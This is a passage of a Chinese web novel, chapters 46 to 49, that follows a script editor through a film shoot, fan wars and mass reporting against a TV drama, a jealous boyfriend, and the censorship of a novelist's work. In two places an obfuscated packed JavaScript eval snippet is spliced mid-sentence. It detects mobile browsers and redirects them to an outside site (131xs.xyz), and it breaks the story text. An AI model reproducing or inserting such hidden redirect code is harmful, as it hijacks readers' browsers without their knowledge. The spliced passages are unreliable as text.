单明玉把流量本日戏份甩到第二天,招呼众人拍其他角色的戏,再找统筹人员重新排拍摄通告,把饰演同事的小演员戏份往前移,这几天一口气集中拍完,让他提前杀青。小演员是打包价,早点杀青,就早点进下一个组,自然乐意。 现场又忙了起来,收工后,流量从房车下来,主动请导演和小演员吃饭,各种赔礼道歉。杨树刚开始很惊诧,但细想就明白了。流量是能立刻走人,去找各路大人物哭,还能辞演,然后呢? 流量演技一般是公认的,《战朝阳》拍了大半个月,他走人,除了粉丝,很多人会猜测他耍大牌,或是演得太差,被剧组清退。流量诚然能拂袖而去,但他能当上流量,自然不傻,任性是有后果的,他不能不考虑。 《战朝阳》投资近六千万,各方利益交缠,流量撒娇,背后的人未必会依他,最多为他和单明玉调停,他还得回来演戏,但剧组有一千个折腾他的办法。 在剧组做事要通盘考虑,人情世故都得了然于心,杨树猜测,被打耳光那电光石火之际,流量脑子一定转了千百回,才忍着没回击。拍摄53天,拿走3千万,什么事不能忍? 制片主任是姚澈的助理,跟杨树相熟,悄悄告知导演打那一耳光的用意,一方面是对流量不满,另一方面是在保他。小演员对流量积怨已久,如果导演不出手,流量十有八九会挨揍。 小演员是武行出身,真动起手来,流量遭不住,头破血流还怎么往后拍?就算剧组开了小演员,他往外爆料,必能沾到流量名气的光。 流量这几年很火,广告代言接到手软,抢占了同类小生60%以上的资源,跟他互为竞品的小生团队都盼着他出丑,好把江山夺回来,必然会抓住此事大作文章。 跟小人物结仇不合算,因为你估不到他下一步能做出什么事,流量请小演员吃饭,正是想明白了这点。他是流量,得保住公众形象,在剧组丢人不是大事,反正剧组没几个人真心瞧得起他,他丢习惯了。 郑致感慨,性格决定局势,剧组是个江湖,江湖上,谁有真本事谁就能横着走。杨树仔仔细细想了整件事,顾叮叮远非流量的地位,在《天作之合》剧组横着走,不外乎是潘导不是单明玉这种大导,还在熬资历,且顾叮叮不是流量这种能沟通之人,潘导没法发作。然而欺软怕硬根本是人性,很多时候,像单明玉这样当机立断,或许并没有太严重的后果。 47. 第 47 章 流量如常拍摄,台词还是不行,但态度比以前端正了一点。每当转场时,他静悄悄坐在旁边看剧本,虽然多半没有看进去。有天杨树路过,看出他在发呆,那一刹的迷茫之色,比他胡乱放电吸引人,脸上瞬间有了故事感。 祁宁一个努力跻身到线上的小艺人,都吃够了苦头,流量走到今天,更是难以言说。据制片主任说,流量大前年红到鼎盛之际,有人对他提出很不堪的要求,他拒绝了,他以为以当时如日中天的地位,是能拒绝的。 流量不具备封杀单明玉的能力,他背后的人们也不能,这一耳光只能挨着,但当初那个人能量巨大。经纪人挺不住,带流量去找某个杂志主编,她是圈内著名的皮条客,经她一层层搭关系,流量一个又一个人陪过去,他身上的资本才又回来了。 这圈子有些事污秽难言,杨树说:“他本该懂得珍惜工作机会,敬业才能走得长远。” 制片主任摇头:“他懂得的大概是一些人干不过另一些人,他天资就这点,又贵,他觉得敬业没用,不能保障他什么。” 据说接受很不堪的要求后,流量比以前更放荡,女伴无数,还爱上了吃火锅,但吃得极少,只爱坐在桌前,看火锅一遍遍煮沸,有天他喝醉了,跟助理说:“你说要是浇到别人头上会怎样?” 那一定是他人生的至暗时刻。杨树忙完,悄然观察流量,他身上一直有种漫不经心的不羁感,合目假寐时,像个偶然来到人间浪游的散仙,让她想起大学时英语精读课上记住的诗句:你因梦想而在这个世上受苦,就像一条河流,因云和树的倒影不是云和树而受苦。 也许,每个人都因欲望而在这个世上受苦。流量睁开眼睛,捕捉到杨树眼中这一抹大概能称为怜惜的情绪,他一怔,转瞬对她笑得粲然。夜晚的总统套房内,灯光大亮,一个人的筵席照开,他仍能在很多人面前保有尊严。 流量后援会每周都带着应援物品来探班,流量连声说辛苦,合照时会躬身配合粉丝们的身高,但粉丝一走,他就瘫在休息椅,一脸“瘟神可算走了”的倦怠,郑致看在眼里,别提多伤心。 杨树说顾叮叮也是一样的,拍摄《天作之合》时,顾叮叮笑话男主角白杨:“歪瓜裂枣都觉得自己是你的衣食父母,对你管头管脚,什么感受?” 白杨反唇相讥,顾叮叮的粉丝以猥琐男为主,每天对着她的照片做些见不得人的事,比他更惨,顾叮叮说彼此彼此,白杨的粉丝全是痘痘脸戴眼镜的丑姑娘和老阿姨,个个大呼想睡他,也不能细想。 郑致涨红脸:“我从没想过亵渎小顾。” 流量有时并不在套房过夜,他仍需要陪一些人,回来对身边无足轻重之人动辄呵斥。助理们都习以为常,被骂就腆着脸听,听完笑嘻嘻的,流量代言的产品,他们都大大方方地拿:“这个给我呗,还有这个。” 有次杨树听到其中一人找流量借八千块,借口很拙劣,流量给了,笑着说:“下不为例。” 助理说一定一定,但听那语气,两人都不当真,还会有下一次,杨树引以为奇,这两人关系听起来很不错,仿佛每次被骂得狗血淋头的是别人。制片主任说:“你多看几次就知道了,他们只把自己当下人。” 杨树着意观察,制片主任此言不虚,看似奇特的共生关系,但用下人和主子的身份一套,非常成立。他们甘心于此,他也需要他们。 拍戏之余,流量和女一号躲去房车卿卿我我,剧组人员都熟视无睹,剧中是情侣,剧外是临时情侣,这样拍出来的戏更真挚。单明玉笑说应了李白诗:醒时同交欢,醉后各离散。 娱乐圈纸醉金迷,放大了贪嗔痴,粉丝看不到这些事,只会欢呼偶像德艺双馨,就算爆出一点不妥言行,那也是团队不得力,不是他本人意愿。 流量和女一号都有诸多床伴,早几年,杨树看不惯,但她年岁渐长,越来越平和,学着不去评判别人的私德。 艺人跟常人不同,杨树觉得不能用大众意义上的道德来审视评判他们的情感,他们总在演相爱,早上拍人海里初相见,入夜拍携手走在华灯里,一天便和对方相守了半生,由不得他们不动情,进入角色并产生感情是能被理解的。 流量是货真价实的红,郑致的表姐妹都知道他,他帮几个亲朋好友要了签名照,还和流量拍过几次合照,发上了微博,粉丝暴增。 郑致诚诚恳恳混了快两年饭圈,始终是小喽啰,仅仅因为和流量的合照,得以进入梦寐以求的粉丝后援会宣传组。杨树原以为他目睹了流量的真实为人,能举一反三,但顾叮叮仍是他心里的小仙女。 张程程又来明堂影业暑期实习,比起追陈曦那会儿,她对新欢白杨理智多了。 同好们都以为通过自己的努力,就能帮偶像争到资源,但张程程在明堂影业实习时发现,偶像得到的好资源,绝大多数都和数据无关。 流量能变成流量,资本的助推才是关键,流量能出演《战朝阳》,是平台建议用他,而平台想用他,是因为曾经有成功的合作,也因为流量和平台高管的交情,这种种都不是粉丝努力就能办到的。 张程程想明白了,安心当个散粉。她和郑致要好,郑致经常给她提供流量的剧照,她用来练习修图,被流量粉丝圈奉为座上宾。但流量不符合张程程审美,她对白杨满怀爱意,盼着日子等待《天作之合》开播。 《天作之合》采取先台后网的播出形式,于7月16日在卫视首播,8月底在两家网站播出。4月的时候,卫视一度预告《天作之合》于5月20日应景开播,但播出前一周,一部缉毒题材的刑侦剧取代了它。 平心而论,该剧颇值得一观,观众们为剧情尺度叫好,但普遍认为女一号很多余,把她的戏份全部拿掉也不影响剧情,加戏加得如此凶残,此人必然有后台。 能演上一号角色,谁能没后台?有天杨树跟姚澈的助理闲谈时得知,女一号的后台比绝大多数演员明星都硬,人人都怪她加戏,但没她这部剧就过不了审。 在别的公司,这部剧连立项都别想,但女一号的金主是要害部门的实权人物,他手指缝松一松,前景就开阔了。 杨树想起李伊梦和张瑞江,李伊梦在青芽混得好,因为她是大老板起家时的助理,是心腹,用得顺手;张瑞江也是同理,他能为钱一诺引荐互联网资本,还有个在视频网站担任要职的太太,钱一诺给他一个总监职位又何妨? 每个你以为是傻×但占据了好位置的人,恐怕都不是没有原因。果然,有天朱青的助手小五告诉杨树,原来涂芊是hong三代。 涂芊曾祖父那一辈是风云人物,但历经几代,风光不再。所谓权贵,如果不当权,也就占个贵字,有一定的排面,但钱财未必比商人更多,影视业像涂芊这样来赚钱的人不在少数,别人走不通的关系,他们去走一走,可能不一样。 在涂芊操作下,明堂影业去年有部涉案剧成功播出,被观众盛赞针砭时弊,胆识过人。男主角的粉丝载歌载舞,都夸作品足够优秀,且主创团队经验丰富,深谙过审技巧,还纷纷表示:“都得面对审查,别人怎么就能做出优秀作品?归根结底是你们做得还不够好。” 在影视行业,“我们只缺好剧本”是一句彻头彻尾的谎言,好剧本并没有大众以为的那么稀少,但你们都不能做,个别人才能做,他就可以赚到口碑,赚到钱。 特权是最值钱的。这边斩钉截铁地告诉你,这个项目立不了项,拍不了,难度大,那边转头就有同类题材播出了,播得铺天盖地,赚得大摇大摆,只因为操盘者掌握的关键资源你没有。 当初如果非要让涂芊为《三十难立》竭尽全力不可,不见得不能如愿,但这种题材受众面不如涉案剧广,关系再硬也不值当一用。有些剧,几年才让出一部,特殊垄断资源,金贵得很。 《天作之合》终于播出,秦朗买了吃的喝的,陪杨树和丁盼兮在家观看。经历了几次审查,杨树没看过最终成片,十分好奇。 《天作之合》24集剧本,按制片人的要求,导演带着剪辑师剪出了36集成片,杨树校对台词字幕的时候,就感觉略微注水,但剧情好,能忍。广电总局严格得多,勒令删减冗余,再加上必须整改的情节,最终成片是32集。 第一集被剪得有点厉害,刚看完,爸爸就打来电话,片头片尾字幕上,杨树被署名为文学编辑。其实杨树给样片做字幕校对就看到了,忍着没说。秦朗拍摄屏幕发给父母,与有荣焉:“小树写了很多,我当时也在横店。” 丁盼兮看完前两集,直夸好看,男女主角有CP感,甜丝丝。杨树想看看观众评论,但《天作之合》官方微博下面满眼粉丝控评,她顿时扫兴,吐槽了两句,马上被男女主角白杨和顾叮叮的粉丝围攻了。 杨树回嘴:“这是我的个人页面,我想说什么就说什么。” 郑致夸前两集就很好看,发来他写的剧评,杨树看完剧评再看自己的微博,评论多了几百条,每分钟都有粉丝前来教她做人,有十来条骂得特别难听。杨树点开ID,大多是年轻女孩,她删掉她们的评论,把ID拖进黑名单。 次日上午,杨树的照片被顾叮叮的粉丝挂出来,评论有男有女,女的都管杨树叫老女人或阿姨,骂她在蹭热度,想红想疯了。 刘云彤劝杨树删微博,她有过类似遭遇,无论回复什么,都只会招来更多蛆虫,她只能删除微博了事,把主演名字也屏蔽掉。 在路人眼里,粉丝群体竟等同于蛆虫,郑致很委屈,很多粉丝是他这种安分型,但刘云彤说一小撮聒噪且恶毒的人才是路人对粉丝的观感。梁卓也让杨树删微博,杨树梗着脖子不删,小年轻两手空空,一腔戾气,但是为什么要闭嘴,让他们的声音响彻云端?不删。 “就不能好好看剧,好好写点言之有物的观后感吗,主演栏谁的名字排在前面,很重要吗?”——姜妤不理解杨树这条微博怎会犯众怒,她转发到自己页面,质问何错之有,粉丝们迅速找过去了。 白杨的粉丝叫白米,他们想叫白粉没通过,白米和小叮当互骂自家爱豆才是一番。杨树问了郑致,才知道这是舶来词汇,源自日本,指的是第一和最前列,粉丝为爱豆争番位是在争排面,关乎人气地位。 杨树觉得主角和配角争一争还有些理由,但《天作之合》摆明是男女主角的双人戏,争一番没有意义。郑致激动起来,顾叮叮拍《天作之合》之前就有几部剧在手,知名度也比白杨高,理应排在第一位。 张程程也是一粒白米,杨树愕然发现她是争一番的主力干将。白米们都说《天作之合》是偶像剧,偶像剧看的是男主角,而且他们统计了白杨在前两集的出场时间,比顾叮叮多了7分钟,毫无疑问是一番。 姜妤问:“如果播出效果不如预期,一番要出来道歉吗?” 郑致说不用,众人都笑了,那还争什么争,不能光讲排面,不承担责任吧。 《天作之合》播到第6天,数据一路上涨,杨树在网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081895|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上直接搜剧名,很多路人都说好看,男二号祁宁也被人注意到了,她收集评论发给编剧甘棠,让她也乐呵乐呵。 甘棠带着助手赶《战朝阳》最后两集剧本,忙得没空看自己的前作,但她父母说家乡的地铁站和公交站都给《天作之合》打了广告,单位食堂有人在看这戏,说明火了。 剧集播出过半,粉丝们的大混战更为激烈。男女主角的一番之争依然没定论,但白米统计白杨每集出场时长时突然发现,其中几集祁宁的戏份多过白杨,更多过顾叮叮。 小叮当们本来辱骂女二号抢戏,但女二号的粉丝少,小门小户第一时间就降白旗,小叮当们乘胜而归,跟白米们一齐扑上祁宁。 上半年,祁宁参演的两部作品均已播出,一个男二号,一个男三号,但年代剧和都市剧收视率虽然还行,热度不如偶像剧对祁宁的帮助大,《天作之合》播出后,他的粉丝激增。不过,小叮当训练有素,白米们多半是从别的明星那里爬墙而来,战斗力都比宁粉强。 祁宁被打成资源咖,小叮当和白米都狠挖他的黑料,言之凿凿称他金主无数,所以一出道就能演男二号。还有人编排原著作者指名让祁宁出演,拍戏期间,祁宁和原著作者日夜苟且,原著作者如沐春风,给他疯狂加戏,不然原著里根本就没有的角色,剧中为何戏份如此吃重。 杨树打开原著作者的微博,可怜她只夸了一句:“我很喜欢狮子王这个角色。” 杨树写了一篇长微博,解释剧情需要才设置了男二号一角,却捅了马蜂窝,小叮当和白米转战到她的地盘,骂她潜规则祁宁云云。 杨树说自己只是普通的文学编辑,众人更气了:“可见他为了上位不择手段,但凡有点利用价值的就献身了!” 杨树气笑了。她以为粉丝泼泼脏水便算,但是到了晚上,小叮当和白米两路人马汇聚到一起,举起了举报大旗:都说“建国后动物不准成精”,为何《天作之合》顶风作案,宣扬怪力乱神? 杨树头皮发炸,那句话分明是讹传,制片人谨慎起见,开机前就修改了剧本,把角色都设为外星生物,但千算万算,没想到粉丝会搬起石头砸自己的脚。 顾叮叮和白杨都很需要有实绩的作品,郑致和张程程呼吁不要举报,但粉丝们群情激昂,既然《天作之合》是为了捧祁宁,偏不让他好过,还能给片方一点颜色看看,让他们下次想捧男二号时想清楚,谁才是主角。 郑致在几个群里哀求别举报,举报对顾叮叮没好处,但大粉警告了他:“这是尊严之战!我们就得给片方一个下马威!” 粉丝们聚沙成塔,向各种官方机构或打电话或写邮件举报。杨树细看他们的言论,每一条都堂而皇之,宣称怪力乱神扰乱人心,扰乱社会秩序,毒害青少年思想之类,她冷笑不已,这些恶人的共通点是把“大是大非”挂在嘴边,其实不过是占领道德或政治高地,把举报当成铲除异己的武器。 张程程哀嚎,白米高层花钱买了水军,还掏了大把推广费,事情控制不住了。杨树疑惑至极,这种举报行为损人不利己,不仅让路人看到,连别家粉丝也都抗争起来:我家某某上部剧连穿越都去掉了,怎么还没过审,gd给个说法! 郑致在顾叮叮的微博下一遍遍哀求她出来说句话,让小叮当不要举报,顾叮叮没理会,如常发出九宫格自拍照片。郑致以为评论太多,顾叮叮看不到,他掏钱给自己的评论做了推广,顶到前排,大粉们怒了,把他踢出好不容易才进去的宣传组。 郑致被迫道歉,但大粉们不再给他机会,郑致欲哭无泪,举报的后果很严重,但除了他和少数粉丝,大粉们都不在意,还把举报之火烧得更旺。可这一定是在给顾叮叮添乱,郑致发动他掌管的小号,一齐怒吼不要举报,结果连原先待得好好的数据组也容不下他了,他被收回权限。 《天作之合》在惊险中播完,粉丝得逞了。《天作之合》本来下个月底就能在网站上架,但事情闹大,在网站播出时间得延后,整改后才能上。 郑致蔫头耷脑,他开始明白一个事实,饭圈里某些人并不是多爱顾叮叮,他们就是喜爱混圈子,喜爱斗这个斗那个。 《天作之合》跟部门的人都不相干,但众人都有兔死狐悲之感,从立项到播出,少说一两年,但一群恶人就能影响它的前途。 白米和小叮当绝大多数都是在校生,梁卓有个叔叔当警察,他说下手最狠的是半大小子,搞举报最凶的是小崽子。关键是小崽子还自大,他们真心认为自己才是对的,而成年人都是麻木的闰土,伸着皴裂的手在烂剧里刨食。 杨树以前教育张程程和郑致不得举报,梁卓认为没必要,粉丝走火入魔,根本听不进去话,但现在才知道,能唤醒一个是一个,唤醒一个就消灭了一个隐患,这些事都不是闲事。 姜妤这才明白杨树为何不删微博了,人必须争取话语权,以后再被各路粉丝骂,她也不删微博,就得让他们知道,有些人不听他们那一套,也不怕他们那一套。 杨树笑了,《战朝阳》被多方认为教化感太重,过于直白而缺少了格调,但现在她感觉直白就直白吧,人心浮躁的时代,搞含蓄的隐喻收不到她想要的效果,就得尖凌凌地刺到观众面前,被刺痛了,或许才会自查和反思。 丁盼兮觉得杨树的努力是白费劲,需要听道理的人不会看《战朝阳》,讲也白讲。杨树也觉得博弈很艰难,但不能放弃努力,秦朗揉揉她的头:“认真看剧的人肯定能体会到。” 48. 第 48 章 郑致自从被赶出顾叮叮后援会宣传组和数据组,只能当个零散的粉,失去归属般魂不守舍,有天他拿出几条带包装盒的项链,在办公室兜售。 项链是个所谓轻奢品牌,顾叮叮被聘为品牌大使,郑致买了十条,便宜卖出两条,剩下的也想卖了,资金回笼,再继续支持跟偶像有关的产品。 项链不太精致,部门没人买。刘云彤劝郑致别瞎花钱,郑致说举报事件一定让顾叮叮很受伤,她用心诠释的角色本来可以多卖几个平台,如今前途未卜,他却不能多做点宣传,只能买项链,竭尽所能地安慰她。 杨树说:“你月初才为房租发愁,忘了?” 郑致是没钱,但不为偶像花钱就是白嫖,在圈子里被人鄙视,他想重新被大粉接纳,得多卖点力。 “白嫖”这个词从郑致口中说出,众人都震惊,以他对顾叮叮的痴恋,怎会把这么难听且极具侮辱性的词安在她身上?他们把偶像当什么人了? 郑致说这个词是约定俗成,别人都这么说,他听习惯了,像他这类人被叫作舔狗,也不好听,但听多了也就那回事。 杨树摇头,长夜影视公司的主管曾经抱怨中文词汇被严重污染,从剩女到单身狗到撕逼,越来越粗鄙,人们习惯了粗鄙,就会看不惯高雅,斥之为矫情,一心要把它们拉下来。杨树当时以为主管杞人忧天,但通过对饭圈观察,由点及面看出去,这的确令人悲哀。 祁宁约杨树吃晚餐,他刚进组饰演杨树为他选的暴骄废太子,统筹这两天没安排他的戏,他回京拍时尚杂志。 《天作之合》是祁宁第三部播出作品,但带来的好处是最显性的,他原本自如出入公共场合,但在横店的餐厅,几次被人认出是狮子王。 祁宁和杨树约在日料店包厢,一见面,他就道谢并道歉,杨树为他说话,却被别家粉丝挂出来,他都看到了。 祁宁照例不吃东西,杨树说海鲜热量低,劝他吃一点,祁宁说他今天很累,不想再去健身。杨树无奈,独享一桌刺身,见他眼圈发青,让他别把白米和小叮当的话太当真,她接触过的流量说,承受诋毁是公众人物所必须面对的。 各路粉丝火力全开,把祁宁骂到狗血淋头,连他父母都看到了,他妈气病了。祁宁对父母轻描淡写,这部剧给他带来很高的关注度,少数人骂他算不得什么,毁誉参半才是人生,但他在杨树面前说了实话,那些连他都淡忘的黑历史,原来永远有人记着,将来越得意,越会被掀出来。 曾经混沌,做过糟糕的事,一直是压在心里的巨石。很不希望被真心欣赏自己、喜爱自己的人们知道,但那些事终究藏不住,也没法抹去所有知情人的记忆,只能尽量不去想,然而它们始终存在,他日倘若侥幸获得些许荣光,昨日种种,仍如芒刺在背。 祁宁说他有时会梦见同一个场景,在氛围温馨祥和的新剧发布会上,台下坐了许多忠实观众,可是身后的大屏幕上,那些黑色烙印突然一幕幕地播放,观众们的掌声顷刻变成控诉声。 我曾对你一见倾心,如获至宝,向所有人推介你,盼你被更多人知晓,演你想演的戏,过你想过的生活,可你竟然如此肮脏,本是我见之绕路的那种人,你让我为自己的眼光蒙羞。 梦魇如影随形,祁宁说不下去,低头喝茶。杨树看着他,他的眉弓生得好,睫毛郁郁如往事,她轻声问:“如他们所愿,滚出娱乐圈,你肯吗?” 祁宁抬起头,断然道:“我还想拍戏。我不会别的。” 杨树笑笑:“那就是了。他们记得又怎样,转头就盯别人去了,圈子热闹也有热闹的好。你自己不再记着就行了。活到这么大,谁还没干点丢脸的事?干了就干了,以后咱们多干几票像样的。” 祁宁凝视着她,足有数秒之久,然后说:“喝点酒吧。” 服务员送来清酒,还递上卡片请求签名,祁宁全副武装进店,但方才服务员上菜,认出他了,她说很喜欢他演的狮子王。 祁宁签名,服务员好奇地看了看杨树,杨树不想给祁宁惹麻烦,自我介绍是影视公司编辑,跟祁宁谈新项目。服务员更好奇,杨树说项目在保密阶段,夸了食物美味,找服务员要了外卖卡。 服务员离开,杨树笑道:“红了。” 祁宁说粉丝看着是很多,但多半是瞧个新鲜,等到新剧播出,大多数便爬走了。杨树顺着他的话,劝他别在意那些污言秽语,饭圈永远能找到新的迷恋对象,新的攻击对象,熬过这段时间就好。 祁宁感慨饭圈文化畸形,杨树认为饭圈只是畸形的果,以举报作为灭绝异见者的手段,还很见效,才是畸形的因。粉丝下次再骂她,她还会骂回去,绝不向他们认输。 祁宁这次是专程来致歉,吃完饭,服务员和他合影,说会粉他一辈子,他微笑道谢,喊来助理开车,一起送杨树回家。 从服务员的态度来看,她压根不知道网上爆的黑料,她只是看了一部剧,觉得很好看,愿意关注这个人,如此而已。祁宁说这是他想要的观众,那些为他做数据,为他还击白米和小叮当的粉丝,他感谢他们,但这些都没必要,能成就他的终究是作品。 杨树把这番话转达给张程程和郑致:“听听偶像的心声吧。” 郑致说祁宁太清高,他也许甘当男二号,背负抢戏骂名,但他的爱豆绝不甘居于人下。 车照旧开到小区单元楼下,秦朗等在路边。祁宁在横店见过秦朗,下车打招呼,秦朗笑了笑,一把将杨树扯到身边,揽着她的腰跟祁宁道别。等祁宁的车开出,秦朗立刻黑了脸,拉着杨树的手往家走,路上一言不发,杨树以为他加班累,过一下明白了:“你在吃祁宁的醋?” 秦朗凶巴巴看她,杨树大笑:“你有病啊!我又不是没跟你说过,今晚要跟他见个面。” 秦朗虎起脸,甩开她的手,大步向前走。杨树自己笑了半天,进屋后,秦朗仍没理她,翻出睡衣去洗澡。丁盼兮看出来了:“你俩吵架了?” “没,他跟我闹着玩。”杨树聊起八卦,这次跟祁宁见面她才得知,舒纹介入了长夜影视公司大老板的婚姻。 公司筹拍一部言情剧,舒纹邀请祁宁演男二号,但角色跟祁宁以前演过的很像,祁宁婉拒,舒纹表示愿意为他改剧本,杨树奇道:“她做剪辑有这么大权力?” 祁宁说舒纹已经成为那部戏的B组导演,杨树感叹她升级快,祁宁摇头,是大老板给的机会。大老板的太太柳艳也知道两人的关系,但不在乎,她是祁宁等人的经纪人,伺候她的小生多了去。舒纹不是大老板第一个情人,也不会是最后一个,柳艳视她为空气。 送杨树回来的路上,祁宁坦然说出这些秘辛。他很早就想摆脱柳艳,但违约金太高。是有一些人追他,但不会有人掏一个亿为他赎身,他自己都觉得不值,只能在柳艳手底下混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081896|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 秦朗洗澡出来,杨树想跟他说舒纹的事,但秦朗拿开她的胳膊:“困了。” 杨树揪他的脸:“看你绷到几时。” 秦朗木着脸,往床上一躺,不理她。杨树闷了一下,发觉男朋友是动真格的。牙医为丁盼兮春梦里的明星吃醋,秦朗还笑话过,轮到他自己,他为一个活生生站在面前的明星吃醋了。 杨树哈他痒痒:“秦朗,秦小朗,罐罐哥。” 秦朗躲开,杨树吼道:“胖罐子!” 胖罐子不动如山,杨树恶声恶气:“你怀疑我的人品,还对我使用冷暴力!”大帽子一扣,秦朗有反应了,哼了一声。 杨树抠他的脚板心:“再吃醋我要放大招了啊。” 秦朗蹭地坐起:“我不该吃醋?他是男人!” 杨树说:“我认识的男人那么多。” 秦朗拧眉:“长得帅,还送你回家有几个?为什么不让我去接你?” 这人还没完没了了,杨树抱住他,这次秦朗没躲,杨树蹭蹭他的脸:“乖了,不准乱生气,我有这么水性杨花吗?” 秦朗又皱起了眉:“这就算了?知道别人会生气,还这么敷衍?” 杨树不说话,咬咬他耳朵,慢慢亲着,秦朗侧过脸亲她,然后丢开她:“一身臭汗,快去洗澡。” 杨树踢他一脚,翻身下床,秦朗哈哈笑,他报复回来了。深夜两人抱着说话,他才说了实话,对杨树来说那是个明星,但对他来说,那是个很帅的男人,尤其是杨树夸过祁宁很性感,杨树说:“他就是很性感啊,我总不能说违心话吧,再说了,你也很……” 腰上被揪了一下,杨树灵光乍现,改口道:“你更性感。” 秦朗咆哮:“是才,才!” 杨树笑得一团酥软,秦朗没好气:“你不是编辑吗,用词能准确点吗?!不讲究。” 杨树乖乖地连说两遍,秦朗才罢休,他说自己可不是小家子气,杨树和祁宁是同一个圈子的,走得太近,情生意动,怎么就不可能? 杨树骂秦朗看扁了她,她道德感不强,但碗里这口好饭还没吃够,绝不碰别的美味。秦朗压上她:“还没吃够?” 两人闹了一阵,秦朗说:“主要是我觉得,祁宁看着你说话的时候,特别温柔,太温柔了。我要是女的我完了。” 杨树说:“思路可以打开一点,你是男的一样也能完了。” 秦朗掐她的腰肉,杨树笑着用脑袋蹭他的下巴:“:“娱乐圈的漂亮男女,是比一般人懂得取悦他人。他愿意的话,看一颗大白菜也能很温柔。你忘记探班那次,他无实物表演了?” 秦朗想想也是:“我感觉他这次比以前还帅。” 杨树也有同感,都说人气能养人,可能是真的,祁宁脸上比刚认识那时有光彩。在日料店见面,他摘下墨镜对她笑,帅得让人心惊肉跳。不过秦朗在普通人里够看了,杨树觉得自己这么喜欢他,不仅是精神上投契,秦朗各方面都合她的意。 秦朗被女朋友甜甜蜜蜜哄一哄,开开心心睡觉。杨树回自己房间,想跟《玫瑰掌门》的编剧们聊聊剧本,这才看到祁宁发的信息:“杨老师,秦老师是不是误会了?” 杨树轻快地回答:“那哪能。他那人特别大度。我们不干涉对方交朋结友,他刚才还夸你更帅了。” 过了一会儿,祁宁回个笑脸:“那就好。” 49. 第 49 章 《玫瑰掌门》慢工出细活,交出了前10集剧本定稿,詹忆和钱一诺都很满意。编剧们不仅做好了创业部分,农村质感也很鲜明。 然而仍是老问题,钱一诺谈投资很不顺。去年底,《玫瑰掌门》剧本大纲通过后,杨树就做了PPT,但肯投资农村剧的人不多,而且普遍嫌剧本对行业扎得太深。 原生家庭吸血,女人抢男人,跟竞争对手勾心斗角,才是投资人想看到的强戏剧冲突,至于人设是否和职业身份相符,成了次要问题,行业部分不专业也不重要。 钱一诺不能说他们不对,公司有专人负责市场调查,调研数据结果都指向言情剧和狗血剧,投资人认为它们更容易“红”,甚至是“爆红”。 市场环境决定了产品内容,资本都趋利,主创人员想干点不一样的活,但没人投资,就不能问世。钱一诺想找平台谈定制,按献礼剧操作,但各家卫视这两年的献礼剧都排满了。 视频网站兴起,卫视的日子不好过了,招商很困难,有的卫视黄金档电视剧的中插广告,都已是二三折贱卖,更想接纳更有爆相的剧。 负责发行的涂芊和张瑞江继续唱衰《玫瑰掌门》,它和市场需求背道而驰,理应搁置。钱一诺坚信《玫瑰掌门》有市场,所谓观众不爱看行业剧和农村剧,无非是市面上的行业剧弄成了都市爱情剧,农村剧弄成了伦理剧,没满足观众的心理诉求,给他们带来失落感。 钱一诺个人一向喜欢看行业故事,从中领略不同的人生,拓展自己的视野和知识面,谈投资虽然不顺,但剧本满足了他的期待,他放手让编剧继续写,之外的事都交给他。 为了把控专业性,钱一诺找来一个国产护肤品牌,对《玫瑰掌门》把好技术关。项目前景不明,品牌不打算投资,但当顾问乐意之至,还计划安排公司各路专业人士审读剧本,修正术语。 跟品牌谈完,钱一诺和杨树一同回公司,在车库里,两人迎面碰到张瑞江。张瑞江又一次表达了对《玫瑰掌门》的担心,公司不是免费搞慈善,盈利才重要,但也不能不给好作品活路,《玫瑰掌门》是写得不错,出本书得了。 钱一诺否决出书建议,图书的影响力不如影视剧大,如果公司拍戏只讨好在网上控评打榜的人,题材和类型只会更进一步萎缩,谁来照顾沉默大多数的口味? 张瑞江说:“会哭的孩子才有奶吃,谁叫他们沉默?” 钱一诺说:“我们也得做点我们自己爱看的东西吧?”他举出最近几个剧,若不是儿子的女朋友在看,他闻所未闻,但一查发现,网播量很理想,这说明影视剧受众的分化越来越大。过去意义上的“大众”被分成一撮一撮的人群,《玫瑰掌门》讨不到张瑞江这撮人的好,但放眼望去,还有很多山头林立。 公司的关系要花在大剧上,钱一诺一度想过把《玫瑰掌门》输送去央八,但央八买价不高,还得多卖一家平台。但是视频网站和二线卫视都采购农村剧价极低,他决定做完全部剧本再说,以编剧的能力,剧本完稿,拿出去应该能找到赏识它的人。 大老板愿意为《玫瑰掌门》使劲,它不会被中途搁置,杨树在心里吹口哨,回办公室就向原著作者霜晨月汇报,霜晨月却很颓靡,她写了快一年的小说,上周连载刚完结,前天被人举报三观不正。 连载网站的审查已越来越严厉,霜晨月每发出一章,必先逐字逐句自我审查几遍,但误伤现象时有发生,她只能用其他同义词替换,或是整段删除,再发出去,又得重新进入审查体系。 想换个审查没这么一刀切的网站吧,流量小,读者也少,作者写东西,当然都想多看点读后感。 小说连载期间,就一路伴随部分读者“三观不正”的指责,如今全文被锁定,要么大改特改,要么不见天日。 杨树想安慰霜晨月,但这种含恨的痛苦,她说什么都没用,对创作者而言,作品不能被传播开去,就像人被扼住了喉咙,会活活憋死。 